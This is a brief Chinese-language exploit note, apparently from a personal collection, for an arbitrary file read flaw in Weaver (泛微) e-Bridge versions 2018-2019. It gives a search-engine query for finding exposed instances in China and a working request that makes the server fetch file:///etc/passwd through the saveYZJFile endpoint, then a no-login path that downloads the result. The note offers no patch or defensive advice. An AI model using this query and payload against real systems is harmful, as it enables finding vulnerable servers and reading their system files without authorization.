泛微-云桥 e-Bridge 任意文件读取

涉及版本:2018-2019 全版本

app=”泛微-云桥 e-Bridge” && country=”CN”

ip/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt

image-20200914153734289
image-20200914153734289

/file/fileNoLogin/3e2598b16871455286ebf95c3e8e118c

image-20200914153803987
image-20200914153803987

——————————————————无名之辈——————————————————-


本文档由瓦雀创建